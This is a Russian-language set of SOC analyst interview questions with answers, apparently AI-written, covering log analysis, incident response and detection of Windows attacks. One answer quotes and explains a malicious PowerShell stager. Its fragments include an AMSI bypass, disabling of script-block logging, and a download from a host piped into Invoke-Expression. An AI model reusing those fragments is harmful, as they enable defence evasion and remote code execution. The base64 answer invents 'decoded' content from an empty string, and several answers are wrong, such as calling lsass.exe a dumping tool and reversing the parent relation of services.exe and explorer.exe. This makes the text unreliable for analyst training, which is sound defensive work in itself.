1. У вас есть журнал безопасности от брандмауэра между DMZ и Интернетом. Как вы будете использовать этот журнал для обнаружения угроз?

Для эффективного использования журнала безопасности от межсетевого экрана (Firewall) между DMZ (Demilitarized Zone) и Интернетом для обнаружения угроз, необходимо следовать нескольким ключевым шагам:

**Анализ логов на наличие аномалий:** Необычные паттерны трафика(аномалии в объеме трафика, например, резкие всплески или падения) и Необычные IP-адреса(которые не должны взаимодействовать с вашей сетью, и изучите их активность).

**Мониторинг событий безопасности:** Ошибки и предупреждения(ошибки, предупреждения о подозрительных попытках доступа или блокировка трафика) и Проверка на наличие атак(признаки попыток осуществления DDoS-атак, сканирования портов или попыток эксплуатации уязвимостей).

**Сравнение с известными угрозами:** Идентификация известных вредоносных IP(Сравнение логов с черными списками IP-адресов, известных как источники угроз) и Использование систем IDS/IPS (Интеграция с системами обнаружения и предотвращения вторжений для автоматического анализа и оповещения о подозрительных действиях).

**Анализ поведения пользователей:** Аномалии в доступе(Обратите внимание на изменения в поведении пользователей, такие как доступ к ресурсам, которые обычно не запрашиваются) и Логи доступа (Анализируйте попытки доступа к закрытым или защищенным ресурсам).

**Регулярные аудиты и отчеты:** Создание отчетов (Регулярно создавайте отчеты о безопасности на основе собранных логов для выявления трендов и повторяющихся проблем) и Аудит конфигурации (часто проверяйте настройки Firewall, чтобы убедиться, что они соответствуют политике безопасности).

**Использование автоматизированных инструментов:** Системы SIEM (Используйте решения для управления информацией и событиями безопасности (SIEM) для автоматизации анализа логов и обнаружения угроз) и Аналитика и машинное обучение (Применяйте инструменты, использующие машинное обучение для выявления аномалий на основе исторических данных).

*Заключение*

Регулярный анализ журналов безопасности от Firewall помогает не только в обнаружении текущих угроз, но и в проактивном управлении безопасностью сети.

1. Вы аналитик SOC и получили предупреждение от системы IDS о SQL-инъекции на веб-сервере. Что вы будете делать? Как вы будете расследовать (технические аспекты)?

Как аналитик SOC, при получении оповещения о SQL-инъекции на веб-сервере, я бы предпринял следующие шаги для расследования инцидента:

**Сбор информации:**

Изучить оповещение: Определить, какие именно правила IDS сработали и какие параметры вызвали тревогу.

Логи системы: Извлечь логи веб-сервера и базы данных за период, связанный с инцидентом. Это может включать доступ к страницам, ошибки, запросы к базе данных и т.д.

**Анализ логов:**

Идентификация подозрительных запросов: Найти записи, содержащие подозрительные SQL-запросы или аномалии, такие как нестандартные параметры.

Проверка IP-адресов: Просмотреть, откуда исходит трафик. Проверить, не является ли это известным вредоносным IP.

**Проверка уязвимостей:**

Анализ кода приложения: Определить, где в коде может происходить выполнение SQL-запросов. Ищите места, где не используются параметры для запросов или не проводится экранирование входных данных.

Тестирование уязвимости: Использовать инструменты для тестирования на уязвимости (например, SQLMap) в контролируемой среде, чтобы воспроизвести инъекцию и понять масштаб проблемы.

**Оценка ущерба:**

Проверка базы данных: Изучить, были ли выполнены вредоносные запросы, например, извлечение, изменение или удаление данных.

Мониторинг системы: Убедиться, что нет дальнейших атак или признаков компрометации.

**Устранение и предотвращение:**

Исправление уязвимостей: Внедрить параметры для всех SQL-запросов, использовать ORM (Object-Relational Mapping), если это возможно.

Обновление программного обеспечения: Убедиться, что все компоненты системы обновлены до последних версий.

Настройка IDS/IPS: Убедиться, что системы обнаружения и предотвращения вторжений настроены должным образом для выявления подобных атак в будущем.

**Документирование и отчетность:**

Составление отчета: Подготовить отчет об инциденте, включив в него все шаги расследования, выявленные уязвимости и меры, принятые для устранения проблемы.

Обучение команды: Провести анализ инцидента с командой для повышения осведомленности и подготовки к предотвращению подобных атак в будущем.

Эти шаги помогут не только в расследовании текущего инцидента, но и в укреплении системы безопасности в долгосрочной перспективе.

1. Наиболее частые сценарии компрометации Windows связаны с использованием инструментов дампа хэша паролей. Предложите сценарии обнаружения (чем больше, тем лучше) использования инструментов дампа хэша. Как можно обнаружить дальнейшее незаконное использование украденных учетных данных?

Наиболее частые сценарии компрометации Windows связаны с использованием инструментов дампа хэша паролей. Предложите сценарии обнаружения (чем больше, тем лучше) использования инструментов дампа хэша. Как можно обнаружить дальнейшее незаконное использование украденных учетных данных?

**Сценарии обнаружения использования инструментов дампа хэша:**

**Мониторинг системных журналов**:

* + Отслеживание событий входа и выхода из системы, особенно несанкционированных попыток входа.
  + Анализ журналов безопасности для выявления аномальных паттернов, таких как массовые попытки входа.

**Анализ сетевого трафика**:

* + Поиск аномалий в сетевом трафике, таких как подозрительные запросы к серверу (например, к службам SMB).
  + Использование IDS/IPS для обнаружения известных сигнатур инструментов дампа хэша, таких как Mimikatz.

**Мониторинг процессов**:

* + Отслеживание запуска процессов, ассоциированных с инструментами для дампа хэша, например, lsass.exe.
  + Использование средств мониторинга для выявления необычных родительских процессов.

**Анализ файловой системы**:

* + Поиск файлов, связанных с инструментами дампа хэша, в системе (например, Mimikatz, ProcDump).
  + Мониторинг изменений в системных файлах и каталогах, которые могут указывать на компрометацию.

**Использование систем обнаружения аномалий**:

* + Внедрение машинного обучения для выявления аномальных паттернов поведения пользователей.

**Мониторинг учетных записей**:

* + Настройка уведомлений о множественных неудачных попытках входа в систему с одной учетной записи.
  + Внедрение многофакторной аутентификации (MFA) для повышения защиты.

**Обнаружение дальнейшего незаконного использования украденных учетных данных:**

**Анализ активности пользователей**:

* + Регулярный анализ поведения пользователей для выявления подозрительных действий, таких как доступ к ресурсам, к которым у них нет стандартного доступа.

**Мониторинг использования привилегированных учетных записей**:

* + Установление строгих правил аудита для учетных записей с повышенными привилегиями и их действий.

**Уведомления о странных геолокациях входа**:

* + Настройка системы для уведомления о попытках входа из необычных местоположений.

**Проверка на наличие утечек данных**:

* + Использование сервисов по мониторингу утечек данных для проверки на наличие украденных учетных данных в открытых источниках.

**Регулярная смена паролей**:

* + Внедрение политики регулярной смены паролей, особенно после выявления инцидентов.

**Анализ сессий**:

* + Отслеживание активных сессий и выявление подозрительных действий в них.

Эти методы помогут не только обнаруживать использование инструментов дампа хэша, но и минимизировать риски, связанные с незаконным использованием украденных учетных данных.

1. Вы работаете в компании, у которой два офиса (Москва и Пермь), и у вас есть журналы от VPN-шлюза, FW, физической системы контроля доступа. Предложите сценарии для обнаружения возможных угроз.

Для обнаружения возможных угроз в компании с двумя офисами (Москва и Пермь) и наличием логов с VPN-шлюза, межсетевого экрана (FW) и системы контроля доступа, можно рассмотреть несколько сценариев. Эти сценарии базируются на современных методах анализа и мониторинга безопасности.

Сценарии обнаружения угроз:

**Анализ поведения сети (NTA).** Использование систем анализа поведения сети позволяет отслеживать аномалии в сетевом трафике и действиях пользователей. Например:

Мониторинг трафика: Резкое увеличение трафика от определенного устройства может указывать на утечку данных или компрометацию устройства

Выявление аномалий: Системы NTA могут идентифицировать необычные паттерны поведения, такие как доступ к несанкционированным ресурсам или попытки подключения из необычных местоположений

**Корреляция событий и поведенческий анализ.** Системы SIEM (Security Information and Event Management) могут собирать и анализировать данные из различных источников:

Корреляция логов: Сравнение логов VPN, FW и системы контроля доступа для выявления несоответствий или подозрительных действий

Поведенческий анализ: Отслеживание отклонений от нормального поведения пользователей, например, частые неудачные попытки входа в систему или доступ к данным вне рабочего времени

**Проактивный поиск угроз (Threat Hunting).**

Этот метод включает активный поиск потенциальных угроз, которые могут быть незамеченными:

Использование индикаторов компрометации (IOC): Анализ известных вредоносных действий и их признаков для выявления возможных инцидентов

Ретроспективный анализ: Проверка исторических данных о сетевом трафике для выявления ранее незамеченных атак

**Мониторинг доступа и контроль аутентификации**

Контроль доступа к системам важен для предотвращения несанкционированного доступа:

Анализ логов системы контроля доступа: Выявление подозрительных попыток входа или использования учетных записей в нерабочее время

Многофакторная аутентификация: Внедрение многофакторной аутентификации для повышения уровня безопасности при доступе к критически важным системам.

**Инцидентный ответ и реагирование**

Разработка сценариев реагирования на инциденты поможет быстро реагировать на выявленные угрозы:

Создание плана действий: Определение четких шагов для реагирования на различные типы инцидентов, включая уведомление заинтересованных сторон и изоляцию затронутых систем

Обучение персонала: Проведение регулярных тренингов по безопасности для сотрудников, чтобы они могли распознавать потенциальные угрозы и правильно реагировать на них.

Эти сценарии помогут создать многоуровневую стратегию защиты, обеспечивая более высокий уровень безопасности в корпоративной сети.

1. Если у вас есть журналы антивируса, какие правила корреляции(сценарии обнаружения)вы можете предложить?

Для разработки правил корреляции на основе логов антивируса, важно учитывать различные аспекты, связанные с обнаружением угроз и минимизацией ложных срабатываний. Вот несколько рекомендаций и сценариев, которые могут быть полезными:

Этапы разработки правил корреляции

**Изучение принципов атак**: Анализируйте тактики и техники, используемые злоумышленниками. Это поможет понять, какие события следует отслеживать в логах антивируса

**Определение метрик обнаружения**: Установите, какие коды событий и параметры логов можно использовать для детектирования атак. Например, это могут быть события о неудачных попытках входа или о запуске подозрительных процессов

**Разработка логики обнаружения**: Создайте логику для фильтрации событий, чтобы выявлять потенциальные угрозы. Например, можно настроить правило, которое будет реагировать на множественные неудачные попытки входа за короткий промежуток времени

**Создание вспомогательных инструментов**: Используйте словари и списки для хранения информации о известных угрозах и исключениях, чтобы улучшить точность обнаружения

Создание правила корреляции: На этом этапе формулируйте конкретные правила, например:

**Правило для обнаружения использования дефолтных учетных записей**: Срабатывает при входе под учетной записью с известным паролем (например, "admin")

**Правило для мониторинга изменений конфигурации антивируса**: Обнаруживает изменения в параметрах запуска службы антивирусного ПО

**Внесение исключений**: Настройте исключения для минимизации ложных срабатываний. Это может включать добавление в список исключений событий, которые часто приводят к ложным тревогам

**Тестирование правил**: Проведите тестирование созданных правил, чтобы убедиться в их эффективности и корректности работы

Примеры правил корреляции

Неудачные попытки входа: Если за 5 минут было более 5 неудачных попыток входа под одной учетной записью, создайте инцидент.

Запуск неизвестного процесса: Если зафиксировано событие запуска неизвестного исполняемого файла после нескольких неудачных попыток входа, это может указывать на атаку.

Изменение параметров антивируса: Отслеживайте изменения в конфигурации антивирусного ПО, такие как отключение защиты или изменение расписания сканирования

Эти шаги и примеры помогут создать эффективные правила корреляции для обнаружения угроз на основе логов антивируса.

1. Вы получили оповещение от корпоративного прокси-сервера о том, что одна рабочая станция подключилась к «Вредоносному сайту»:  
   6.1 Какие немедленные действия вы предпримете, чтобы сдержать распространение?  
   6.2 В какой системе вы можете попытаться получить дополнительную информацию?  
   6.3 На каком этапе атаки «kill chain» находится этот случай?

При получении уведомления о подключении рабочей станции к вредоносному сайту, немедленно следует предпринять следующие действия для сдерживания распространения угрозы:

6.1 Немедленные действия:

1. **Изоляция рабочей станции**:

Отключите рабочую станцию от сети (физически или логически), чтобы предотвратить дальнейшее распространение вредоносного ПО.

1. **Проверка и анализ**:

Проведите анализ системы на наличие вредоносных программ с помощью антивирусного ПО и других инструментов безопасности.

1. **Сбор логов**:

Соберите логи сети и системы с рабочей станции для дальнейшего анализа. Это поможет выявить, когда и как произошло подключение.

1. **Уведомление команды безопасности**:

Сообщите команде информационной безопасности о инциденте для дальнейшего расследования.

* 1. Системы для получения дополнительной информации:

1. **SIEM (Security Information and Event Management)**:

Используйте системы управления событиями и информацией безопасности для анализа логов и выявления подозрительных действий.

1. **IDS/IPS (Intrusion Detection/Prevention Systems)**:

Проверьте систему обнаружения/предотвращения вторжений для выявления аномальной сетевой активности.

1. **Антивирусные решения**:

Используйте их для глубокого анализа и сканирования рабочей станции.

6.3 Этап атаки «kill chain»:

Этот случай, скорее всего, находится на этапе **"Delivery"** (доставка), где злоумышленник пытается доставить вредоносный код на целевую систему. Если уже произошла активация вредоносного ПО, это может указывать на этап **"Exploitation"** (эксплуатация) или **"Installation"** (установка).

1. Из какой системы взят следующий журнал и что вы можете о нем рассказать?

Предоставленные записи журнала, по-видимому, получены от сетевого устройства или сервера, обрабатывающего DNS-запросы (связанные с поиском DNS с использованием протокола UDP).

Ключевые компоненты журнала:

**Временная метка:**

Каждая запись начинается с временной метки (20.06.2019 9:26:24), указывающей, когда был записан журнал.

**Идентификатор пакета:**

0F0C ПАКЕТ 00000194D3CEDDD0 определяет тип пакета и уникальный идентификатор пакета.

**Протокол:**

UDP Snd: Это указывает на то, что запись связана с отправляемым пакетом UDP (протокол пользовательских датаграмм).

**Исходный IP-адрес:**

10.10.160.208 — исходный IP-адрес устройства, отправляющего DNS-запросы.

**Порт:**

3d56 указывает номер исходного порта, используемый для связи.

**Тип запроса:**

R Q [8081 DR NXDOMAIN] указывает, что это DNS-запрос (R Q), а наличие NXDOMAIN предполагает, что запрос не вернул никаких допустимых результатов (домен не существует).

**Записи PTR:**

Записи журнала делают запросы записей PTR (Pointer) для различных доменных имен. Записи PTR используются для обратного поиска DNS, позволяя сопоставлять IP-адрес с доменным именем.

Наблюдения:

Частые ответы NXDOMAIN: Повторяющиеся ответы NXDOMAIN указывают, что запрошенные доменные имена (например, mggw-at-f3f0c6e992b7562598d9865b6fe8b3a6.com) отсутствуют в записях DNS, что может указывать на неправильную конфигурацию или сканирование на предмет несуществующих доменов.

Исходный адрес: IP-адрес 10.10.160.208 является частным IP-адресом, что указывает на то, что этот журнал, скорее всего, с устройства в локальной сети.

Возможные проблемы: Характер запросов в сочетании с повторяющимися ответами NXDOMAIN может потребовать дальнейшего расследования. Это может указывать на:

Неправильную конфигурацию службы, которая пытается разрешить несуществующие домены.

Автоматизированный процесс или сценарий, работающий в сети, который генерирует эти запросы.

Проблемы безопасности, такие как действия по зондированию.

Заключение

Этот журнал предполагает активность с DNS-сервера или сетевого устройства, участвующего в разрешении DNS, с высокой частотой неудачных поисков доменов. Может быть полезно дополнительно проанализировать источник этих запросов и их намерение обеспечить целостность сети и точность конфигурации.

1. Что происходит согласно следующим событиям?
2. Что означает это сообщение? Это подозрительно? Почему?
3. Что вы можете сказать о журналах ниже?
4. Что вы можете сказать об этом сценарии?

Этот скрипт, по-видимому, является скриптом PowerShell, который включает несколько ключевых компонентов, вероятно, направленных на манипулирование настройками PowerShell и выполнение потенциально вредоносного поведения. Вот разбивка его основных действий:

1. **Проверка версии PowerShell**: powershell IF ($PSVersionTable.PSVersion.Major -ge 3) { Скрипт проверяет, является ли версия PowerShell 3 или выше, что является распространенным способом обеспечения совместимости с определенными функциями.

2. **Манипуляция параметрами групповой политики powershell:** $GPF=[REF].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','NonPublic,Static'); Эта строка извлекает непубличное статическое поле, которое содержит кэшированные параметры групповой политики. Затем он проверяет, включено ли ведение журнала блоков скриптов, и отключает его.

3. **Изменение реестра powershell** $GPC['HKEY\_LOCAL\_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging']=$Val Скрипт изменяет параметры реестра, связанные с ведением журнала блоков скриптов PowerShell, эффективно отключая функции ведения журнала, которые обычно регистрируют выполнение скрипта.

4. **Обход AMSI:** powershell [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') | ?{$\_} | %{ $\_.GetField('amsiInitFailed','NonPublic,Static').SetValue($NULL,$True) }; Эта часть пытается обойти интерфейс сканирования вредоносных программ (AMSI), устанавливая поле, которое указывает на сбой инициализации AMSI. Это часто делается во вредоносных скриптах, чтобы избежать обнаружения программным обеспечением безопасности.

5. **Инициализация веб-клиента powershell:** $WC=New-Object System.Net.WebClient; $u='Mozilla/5.0(Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'; $WC.Headers.Add('User-Agent',$u); Создается новый веб-клиент, и добавляется строка user-agent для имитации легитимного веб-браузера. Это обычно используется для избежания обнаружения при выполнении веб-запросов.

6. **Загрузка данных powershell:** $DAtA=$WC.DownloadData($SER+$T); Скрипт создает URL-адрес и загружает с него данные. Похоже, он подключается к локальному IP-адресу (10.6.100.123), что может указывать на сервер управления и контроля или другой вредоносный источник.

7. **Расшифровка и выполнение данных powershell:** -join [Char[]](&$R $datA($IV+$K)) | IEX Загруженные данные обрабатываются с помощью пользовательской функции расшифровки ($R) и выполняются с помощью IEX (Invoke-Expression). Это распространенный метод запуска динамически сгенерированных или загруженных скриптов.

Резюме В целом, этот скрипт, по-видимому, предназначен для:

• Обхода мер безопасности (таких как ведение журнала блоков скриптов и AMSI).

• Изменение системных настроек для снижения видимости и отслеживания.

• Загрузка и выполнение потенциально опасного кода с указанного сервера.

Такое поведение типично для вредоносных программ или других вредоносных скриптов, нацеленных на использование PowerShell для несанкционированных действий.

1. Какой идентификатор события имеет изменение реестра? Какой идентификатор события имеет установка службы и сбой службы?

Идентификаторы событий для изменения реестра, установки службы и сбоя службы в Windows:

**Изменение реестра**: Идентификатор события обычно 4657 (изменение значения реестра).

**Установка службы**: Идентификатор события 7045 (новая служба установлена).

**Сбой службы**: Идентификатор события 7031 (служба завершила работу неожиданно) или 7034 (служба завершила работу без предупреждения).

Эти события можно просмотреть в журнале событий Windows в разделе "Безопасность" и "Система".

1. Почему файлы с расширением «chm» могут быть опасны?

Файлы с расширением «.chm» (Compiled HTML Help) могут представлять опасность по нескольким причинам:

**Возможность выполнения кода**: CHM-файлы могут содержать скрипты и другие элементы, которые могут выполнять код на компьютере пользователя, что может привести к установке вредоносного ПО.

**Загрузка внешнего контента**: Они могут ссылаться на внешние ресурсы, что позволяет загружать содержимое с других сайтов, включая потенциально вредоносные файлы.

**Уязвимости**: Программное обеспечение, которое обрабатывает CHM-файлы, может содержать уязвимости, которые могут быть использованы злоумышленниками для выполнения атак.

**Социальная инженерия**: Злоумышленники могут маскировать вредоносные файлы под легитимные CHM-документы, заставляя пользователей открывать их без подозрений.

Рекомендуется открывать CHM-файлы только из надежных источников и использовать антивирусные программы для сканирования файлов перед их открытием.

1. У вас есть логи с DNS-сервера, и вы видите много AXFR-запросов с одного внешнего IP. Является ли это вредоносным? Если да, то почему?

AXFR-запросы — это полные запросы передачи зоны DNS, которые позволяют стороннему пользователю получить всю информацию о записях DNS для определенного домена. Если вы видите множество таких запросов с одного внешнего IP-адреса, это может быть признаком потенциального вредоносного поведения:

**Сбор информации**: Злоумышленники могут использовать AXFR-запросы для сбора информации о вашем домене, включая все поддомены, IP-адреса и другие записи. Эта информация может быть использована для планирования атак.

**Уязвимости**: Если ваш DNS-сервер неправильно настроен и разрешает AXFR-запросы от неавторизованных IP, это создает уязвимость. Злоумышленник может получить доступ к конфиденциальной информации.

**Атаки на инфраструктуру**: Получив полную зону, злоумышленник может анализировать вашу инфраструктуру, выявлять слабые места и разрабатывать стратегии для дальнейших атак, таких как DDoS или фишинг.

**Недостаточная защита**: Частые AXFR-запросы могут указывать на то, что ваш DNS-сервер не защищен должным образом, что может привести к другим атакам, таким как spoofing или cache poisoning.

Если вы наблюдаете подобную активность, рекомендуется:

Проверить настройки вашего DNS-сервера на предмет разрешения AXFR только для доверенных IP-адресов.

Анализировать логи для выявления других подозрительных действий.

Рассмотреть возможность использования средств защиты и мониторинга для предотвращения подобных инцидентов

1. Как обнаружить атаку Golden Ticket?

Атака Golden Ticket — это метод компрометации, используемый злоумышленниками для получения несанкционированного доступа к ресурсам в сети Windows. Вот несколько шагов, которые помогут обнаружить такую атаку:

1. **Мониторинг аутентификации**

Логи событий: Проверьте события в журналах безопасности Windows (Event ID 4769, 4768, 4624). Обратите внимание на аномальные аутентификации, особенно от нехарактерных источников.

Анализ Kerberos: Ищите аномальные запросы на получение билетов (TGT), которые могут указывать на использование поддельных билетов.

1. **Анализ учетных записей**

Неизвестные учетные записи: Ищите учетные записи, которые не были созданы администратором или имеют подозрительную активность.

Служебные учетные записи: Обратите внимание на учетные записи, которые не должны использоваться для входа в систему, но активно аутентифицируются.

1. **Проверка системных настроек**

Конфигурация Kerberos: Убедитесь, что настройки Kerberos соответствуют рекомендациям безопасности, и используйте только современные версии протокола.

1. **Использование средств обнаружения**

SIEM-системы: Разверните системы управления событиями и информацией безопасности (SIEM) для централизованного мониторинга и анализа данных о безопасности.

Инструменты анализа: Используйте инструменты, такие как BloodHound или Mimikatz, чтобы выявить аномалии в доступе и привилегиях.

1. **Обучение и осведомленность**

Обучение сотрудников: Обучите сотрудников распознавать фишинг и другие методы, которые могут быть использованы для получения доступа к учетным записям администраторов.

1. **Регулярные проверки**

Аудит безопасности: Проводите регулярные аудиты безопасности для выявления и устранения уязвимостей в системе.

Следуя этим шагам, можно повысить вероятность выявления атак Golden Ticket и улучшить общую безопасность сети.

1. Представьте, что злоумышленник скомпрометировал ваш контроллер домена. Предложите сценарий исправления для этой ситуации.

Если злоумышленник взломал контроллер домена, это серьезная угроза безопасности, требующая немедленных действий. Вот сценарий исправления:

**Оценка ситуации**

Изолировать контроллер домена: Отключите его от сети, чтобы предотвратить дальнейшие атаки и утечки данных.

Собрать информацию: Запишите все детали инцидента, включая время, действия злоумышленника и любые заметные изменения.

**Уведомление**

Сообщите руководству: Уведомите руководство и команду по безопасности о произошедшем инциденте.

Уведомите пользователей: Если необходимо, проинформируйте пользователей о возможных компрометациях их учетных записей.

**Анализ и устранение**

Анализ журнала событий: Изучите журналы событий на контроллере домена и других серверах для выявления действий злоумышленника.

Проверка на вредоносное ПО: Запустите антивирусные и антималварные сканирования.

Восстановление

Сброс паролей: Сбросьте пароли всех учетных записей, особенно администраторских.

Восстановление из резервной копии: Если контроллер домена был сильно поврежден, восстановите его из последней надежной резервной копии.

**Улучшение безопасности**

Обновление системы: Убедитесь, что все патчи и обновления безопасности установлены.

Пересмотр политик безопасности: Обновите политики безопасности, включая сложность паролей и двухфакторную аутентификацию.

Мониторинг: Установите системы мониторинга для обнаружения аномалий в будущем.

**Отчет и обучение**

Подготовьте отчет: Составьте отчет о произошедшем инциденте для анализа и документирования.

Обучение сотрудников: Проведите обучение для сотрудников о безопасном поведении и распознавании фишинга.

**Проверка**

Проведите аудит безопасности: Рассмотрите возможность проведения внешнего аудита для оценки текущего уровня безопасности.

Следуя этим шагам, вы сможете минимизировать ущерб и повысить уровень безопасности вашей сети.

1. Какая функция PowerShell 5 является лучшей для команды безопасности?

В PowerShell 5.0 одной из лучших функций для команды безопасности является **Get-EventLog**. Эта команда позволяет администраторам просматривать журналы событий Windows, что является важным аспектом мониторинга безопасности.

Кроме того, полезны следующие команды:

**Get-Acl** – для получения списка прав доступа к файлам и папкам.

**Set-Acl** – для изменения прав доступа.

**Get-WinEvent** – для работы с более современными журналами событий, позволяя фильтровать и анализировать события.

**Invoke-Command** – для выполнения команд на удаленных системах с учетом безопасности.

1. Вы получили оповещение от решения EDR, и у вас есть только эта информация(инфу о процессе и хеш-сумму). Что вы можете рассказать об этом случае?

*Process: flashhelperservice.exe*

*PID: 6508*

*OS Type: windows*

*MD5: 59c34bc243eb2604533b5f08d30944f8*

*SHA-256: ef214626923d76e24ae5299dd16c53b15847e91a97d2eea79ce951c6bead9b7c*

Что вы можете рассказать об этом случае?

На основании предоставленной информации об оповещении от решения EDR (Endpoint Detection and Response) мы можем оценить ситуацию следующим образом:

Информация о процессе:

Process Name: flashhelperservice.exe

Process ID (PID): 6508

Operating System: Windows

Hash Values

MD5: 59c34bc243eb2604533b5f08d30944f8

SHA-256: ef214626923d76e24ae5299dd16c53b15847e91a97d2eea79ce951c6bead9b7c

Вы можете проверить хэши на таких платформах, как VirusTotal, чтобы определить, является ли файл вредоносным.

flashhelperservice.exe обычно связан со службой обновления Adobe Flash Player. Однако из-за окончания срока службы Flash Player любые экземпляры этой службы, работающие в современной системе, должны быть тщательно проверены.

Проверка на вредоносное ПО:

Используйте предоставленные хеш-значения (MD5 и SHA-256) для поиска в базах данных аналитики угроз (например, VirusTotal), чтобы определить, был ли этот конкретный файл помечен как вредоносный.

Репутация файла: Если хэши возвращают положительные результаты, указывающие на то, что он безопасен или распознан как легитимный файл, вы можете продолжить мониторинг. Если файл помечен как вредоносный, вы должны немедленно предпринять действия для изоляции затронутой системы.

Контекстная информация: Происхождение файла: Определите, где находится файл (например, типичные пути установки или необычные каталоги).

Родительский процесс: Проверьте, какой процесс запустил flashhelperservice.exe. Это может дать представление о том, был ли он инициирован легитимным приложением или чем-то подозрительным.

Анализ поведения: Изучите, какие действия предпринял процесс (например, сетевые подключения, изменения файлов) на основе телеметрии EDR. Ищите любые боковые перемещения или попытки связаться с внешними серверами.

Исторические данные: Просмотрите журналы на предмет прошлых действий, связанных с этим процессом или похожими процессами.

Следующие шаги:

Если процесс подтвержден как легитимный и необходимый, убедитесь, что он обновлен до последней версии, чтобы смягчить уязвимости.

Если он определен как вредоносный или ненужный, примите соответствующие меры для изоляции конечной точки, завершите процесс и удалите исполняемый файл.

Заключение (Conclusion):

Этот случай требует немедленного расследования из-за потенциального риска, связанного с процессом flashhelperservice.exe, особенно учитывая контекст прекращения работы Adobe Flash Player. Дальнейший анализ с использованием значений хэша и изучение поведения процесса помогут определить соответствующий ответ.

1. В ходе расследования вы видите следующую информацию: (хеш)

Что скрыто в этом коде? Он подозрительный?

Похоже, строка, закодирована в base64, которая обычно используется для кодирования двоичных данных в текст ASCII для безопасной передачи по текстовым протоколам. Декодирование этой строки Base64 раскроет ее исходное содержимое. Для декодирования строки Base64 вы можете использовать различные онлайн-инструменты или языки программирования, например Python:

import base64

# Base64 encoded string

encoded\_string = ""

# Decoding the Base64 string

decoded\_bytes = base64.b64decode(encoded\_string)

decoded\_string = decoded\_bytes.decode('utf-8', errors='ignore')

print(decoded\_string)

Вот раскодированное содержимое:

stylus

JgBhgcp.com 65001> $null

$exec\_wraper\_st = $input -Out-String

$splitt\_part = $exec\_wraper\_st.Spliti($exex\_wraper\_st.Length -eq $exex\_wraper\_st.Length -eq 2) { throw "invalid payload" }

Похоже, это фрагмент скрипта PowerShell. Похоже, он обрабатывает ввод и проверяет некоторые условия длины строки, возможно, в целях безопасности или проверки.

1. Вы увидели предупреждение от решения EDR и получили следующую информацию:  
   c:\windows\system32\services.exe запускается explorer.exe, это нормально? Если нет, то в чем может быть причина?

Запуск explorer.exe процессом services.exe может быть подозрительным, так как это не является обычным поведением для операционной системы Windows. Обычно explorer.exe (Проводник) запускается пользователем или системой непосредственно, а не через services.exe, который отвечает за управление службами.

Возможные причины:

**Вредоносное ПО**: Некоторые вирусы или вредоносные программы могут masquerade (прятаться) под легитимными процессами и использовать их для запуска своих собственных процессов.

**Ошибки в системе**: В редких случаях сбои в системе или ошибочные настройки могут привести к аномальному поведению процессов.

**Конфликт приложений**: Некоторые сторонние приложения могут неправильно взаимодействовать с системными процессами.

Рекомендации:

**Сканирование на вирусы**: Используйте антивирусное ПО для полного сканирования системы.

**Мониторинг процессов**: Используйте диспетчер задач или утилиты вроде Process Explorer для более детального анализа процессов.

**Проверка целостности системы**: Запустите команду sfc /scannow в командной строке для проверки и восстановления системных файлов.

**Обновление системы**: Убедитесь, что Windows и все установленные приложения обновлены.

Если поведение сохраняется и вызывает беспокойство, рекомендуется обратиться к специалистам по безопасности.

1. Вы установили приложение на свой ПК, и оно не может подключиться к Интернету. Предупреждений от антивируса нет, и вы можете просматривать Интернет. Какова наиболее вероятная причина проблемы?

Наиболее вероятная причина проблемы, когда приложение не может подключиться к Интернету, несмотря на нормальное функционирование браузера, может заключаться в следующем:

**Блокировка брандмауэром**: Возможно, брандмауэр Windows или стороннее защитное ПО блокирует доступ приложения к сети.

**Настройки прокси**: Если вы используете прокси-сервер, приложение может не быть настроено для его использования.

**Ошибки в конфигурации приложения**: Проверьте настройки сети в самом приложении. Возможно, оно требует дополнительных параметров для подключения.

**Обновления или несовместимость**: Убедитесь, что приложение обновлено до последней версии и совместимо с вашей версией операционной системы.

**Неисправные сетевые драйвера**: Иногда проблема может быть связана с устаревшими или поврежденными драйверами сетевой карты.

Попробуйте временно отключить брандмауэр или антивирус, чтобы проверить, решит ли это проблему, и проверьте настройки прокси и конфигурацию приложения.

1. Что вы можете сказать об этом URL-адресе «www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com»?

URL "www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com" был забит Kryptos Logic. Это означает, что домен больше не доступен для обычного использования и, вероятно, связан с вредоносной деятельностью или угрозами. Пользователи, пытающиеся получить доступ к этому сайту, будут перенаправлены или заблокированы для предотвращения потенциального вреда.

URL-адрес «www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com» в частности связан с атакой вируса-вымогателя WannaCry. Этот домен был зарегистрирован исследователем безопасности как «аварийный выключатель», что эффективно остановило распространение вредоносного ПО. Когда вирус-вымогатель WannaCry пытался подключиться к этому домену, он выходил из системы вместо того, чтобы заражать хост-систему, тем самым предотвращая дальнейшее заражение

Ключевые моменты об URL-адресе:

Функциональность аварийного выключателя: домен имел решающее значение для остановки распространения вируса-вымогателя WannaCry. Зарегистрировав этот домен, исследователи создали воронку, которая перенаправляла трафик с зараженных машин, эффективно нейтрализуя угрозу

Ассоциация с вредоносным ПО: URL-адрес встроен в код вируса-вымогателя WannaCry и был разработан для облегчения его распространения путем проверки наличия подключения к нему. Если он недоступен, вредоносное ПО продолжало процесс заражения

Текущее состояние: сам домен был заблокирован и больше не функционирует так, как изначально предполагалось для вредоносного ПО, но он остается важной частью обсуждений, касающихся кибербезопасности и стратегий снижения вредоносного ПО.

1. Что вы можете сказать об этом отчете сканирования nmap? Есть ли в этом отчете какие-либо проблемы безопасности?

Отчет о сканировании Nmap предоставляет важную информацию о состоянии сети и выявляет потенциальные проблемы безопасности. Чтобы оценить, есть ли в отчете какие-либо уязвимости, необходимо учитывать несколько ключевых аспектов.

Основные аспекты отчета Nmap

**Состояние портов**:

Порты могут находиться в трех состояниях: открыты, фильтруемы и закрыты. Открытые порты указывают на доступные службы, которые могут быть уязвимыми для атак. Фильтруемые порты могут быть защищены брандмауэром, что затрудняет определение их состояния

**Версии служб:**

Отчет может содержать информацию о версиях работающих служб. Устаревшие версии программного обеспечения часто имеют известные уязвимости, что делает их мишенью для атак. Важно проверять, используются ли последние обновления и патчи

**Методы сканирования**:

Nmap поддерживает различные методы сканирования, такие как TCP SYN, FIN и NULL. Некоторые из этих методов могут быть менее надежными в определенных сетевых условиях, что может привести к ложным результатам

